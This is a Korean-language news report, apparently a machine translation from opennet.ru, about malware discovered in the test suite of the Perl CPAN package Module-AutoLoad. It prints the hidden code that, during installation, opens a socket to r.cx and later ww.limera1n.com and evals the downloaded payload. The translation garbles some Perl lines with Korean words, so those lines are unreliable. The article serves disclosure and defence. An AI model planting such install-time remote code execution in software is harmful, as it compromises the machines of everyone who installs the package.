Module-AutoLoad Perl 패키지에서 악성코드 발견

CPAN 디렉토리를 통해 배포되는 Perl 패키지 모듈-자동 로드, 즉석에서 CPAN 모듈을 자동으로 로드하도록 설계되었습니다. 식별 악성코드. 악의적인 삽입은 다음과 같습니다. 녹이다 테스트 코드에서 05_rcx.t, 2011년부터 배송되어 왔습니다.
의심스러운 코드를 로드하는 것에 대한 질문이 발생한 것은 주목할 만합니다. 유래 2016년에 다시.

악성 활동은 모듈 설치 시 시작된 테스트 스위트 실행 중에 타사 서버(http://r.cx:1/)에서 코드를 다운로드하고 실행하려는 시도로 요약됩니다. 처음에 외부 서버에서 다운로드한 코드는 악성이 아닌 것으로 가정하지만 이제 요청은 실행을 위한 코드 부분을 제공하는 ww.limera1n.com 도메인으로 리디렉션됩니다.

다운로드를 파일로 구성하려면 05_rcx.t 다음 코드가 사용됩니다:

내 $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
내 $try = `$^X $prog`;

지정된 코드로 인해 스크립트가 실행됩니다. ../contrib/RCX.pl, 그 내용은 다음 줄로 축소됩니다.

lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1″}; 사용

이 스크립트가 로드됩니다. 혼란스러운 서비스를 이용하다 perlobfuscator.com 외부 호스트 r.cx(문자 코드 82.46.99.88은 텍스트 "R.cX"에 해당)의 코드를 가져와 eval 블록에서 실행합니다.

$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.":1″; 인쇄 <$b>;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

압축을 풀면 최종적으로 다음이 실행됩니다. 암호:

print{$b=new IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
";평가자는 경고$@while$b;1을 반환합니다.

이제 문제가 있는 패키지가 저장소에서 제거되었습니다. PAUSE (Perl Authors Upload Server) 및 모듈 작성자의 계정이 차단됩니다. 이 경우 모듈은 여전히 ​​남아 있습니다. 사용할 수있다. MetaCPAN 아카이브에 있으며 cpanminus와 같은 일부 유틸리티를 사용하여 MetaCPAN에서 직접 설치할 수 있습니다. 명시되어있다패키지가 널리 배포되지 않았다는 것입니다.

토론하기에 흥미롭다 연결됨 그리고 모듈 작성자는 자신의 사이트 "r.cx"가 해킹된 후 악성 코드가 삽입되었다는 정보를 부인하고 단지 재미로 본 것 뿐이라고 설명했으며, 무언가를 숨기기 위해가 아니라 크기를 줄이기 위해 perlobfuscator.com을 사용한 것입니다. 코드를 작성하고 클립보드를 통해 복사를 단순화합니다. 함수 이름 "botstrap"을 선택한 이유는 이 단어가 "bot처럼 들리고 bootstrap보다 짧다"는 사실 때문입니다. 또한 모듈 작성자는 식별된 조작이 악의적인 작업을 수행하지 않고 TCP를 통한 코드 로드 및 실행만을 보여 준다고 확신했습니다.

출처 : opennet.ru